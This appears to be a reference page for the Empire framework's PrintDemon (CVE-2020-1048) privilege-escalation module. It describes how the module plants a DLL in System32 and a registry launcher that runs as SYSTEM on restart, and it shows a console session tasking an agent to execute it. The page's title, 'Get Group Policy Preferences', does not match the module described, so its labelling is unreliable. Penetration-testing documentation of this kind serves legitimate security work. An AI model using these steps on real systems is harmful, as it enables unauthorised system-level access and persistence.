Get Group Policy Preferences - Empire Module


This page contains detailed information about how to use the powershell/privesc/printdemon Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview


Name: Get Group Policy Preferences
Module: powershell/privesc/printdemon
Source code [1]: empire/server/modules/powershell/privesc/printdemon.yaml
Source code [2]: empire/server/data/module_source/privesc/Invoke-PrintDemon.ps1
MITRE ATT&CK: T1038
Language: PowerShell
Needs admin: No
OPSEC safe: No
Background: No

This is an Empire launcher PoC using PrintDemon, the CVE-2020-1048 is a privilege escalation vulnerability that allows a persistent threat through Windows Print Spooler. The vulnerability allows an unprivileged user to gain system-level privileges. Based on @ionescu007 PoC. The module prints a dll named ualapi.dll which is loaded to System32. The module then places a launcher in the registry which executes code as system on restart.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the printdemon module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options


This is a list of options that are required by the printdemon module:

Agent
Agent to run on.

LauncherCode
Base64 launcher code.

Additional Module Options


This is a list of additional options that are supported by the printdemon module:

PrinterName
Optional name for the registered printer.

Printdemon Example Usage


Here's an example of how to use the printdemon module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/privesc/printdemon

 Author       @hubbl3                                                               
              @Cx01N                                                                
 Background   False                                                                 
 Comments     https://github.com/BC-SECURITY/Invoke-PrintDemon                      
 Description  This is an Empire launcher PoC using PrintDemon, the CVE-2020-1048 is 
              a privilege escalation vulnerability that allows a persistent threat  
              through Windows Print Spooler. The vulnerability allows an            
              unprivileged user to gain system-level privileges. Based on           
              @ionescu007 PoC. The module prints a dll named ualapi.dll which is    
              loaded to System32. The module then places a launcher in the registry 
              which executes code as system on restart.                             
 Language     powershell                                                            
 Name         powershell/privesc/printdemon                                         
 NeedsAdmin   False                                                                 
 OpsecSafe    False                                                                 
 Techniques   http://attack.mitre.org/techniques/T1038                              


,Record Optionsw-------,----------,----------------------------------,
| Name         | Value | Required | Description                      |
|--------------|-------|----------|----------------------------------|
| Agent        |       | True     | Agent to run on.                 |
|--------------|-------|----------|----------------------------------|
| LauncherCode |       | True     | Base64 launcher code             |
|--------------|-------|----------|----------------------------------|
| PrinterName  |       | False    | Optional name for the registered |
|              |       |          | printer                          |
'--------------'-------'----------'----------------------------------'

(Empire: usemodule/powershell/privesc/printdemon) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/privesc/printdemon) > set LauncherCode value
[*] Set LauncherCode to value
(Empire: usemodule/powershell/privesc/printdemon) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Authors


References


See Also


Check also the following modules related to this module:

Version


This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.